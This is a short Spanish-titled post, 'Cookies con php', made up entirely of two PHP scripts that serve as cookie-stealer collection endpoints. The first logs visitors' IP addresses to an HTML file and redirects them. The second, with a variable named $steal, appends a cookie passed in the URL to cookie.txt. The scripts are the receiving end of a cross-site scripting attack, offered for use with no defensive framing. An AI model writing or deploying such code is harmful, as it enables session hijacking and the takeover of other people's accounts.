Cookies con php

<?php
$url=$_GET["url"];
$ip=$_SERVER['REMOTE_ADDR'];
$c=$_GET["cookie"];
$d="IpCookie.html";
$f=fopen($d,"a+");
fwrite($f,"<br> $ip ");
fclose($f);
 header('Location:'.$url);
?>

<?php
    $cookie = $HTTP_GET_VARS["cookie"];
    $steal = fopen("cookie.txt", "a");
    fwrite($steal, $cookie ."\n");
    fclose($steal);
?>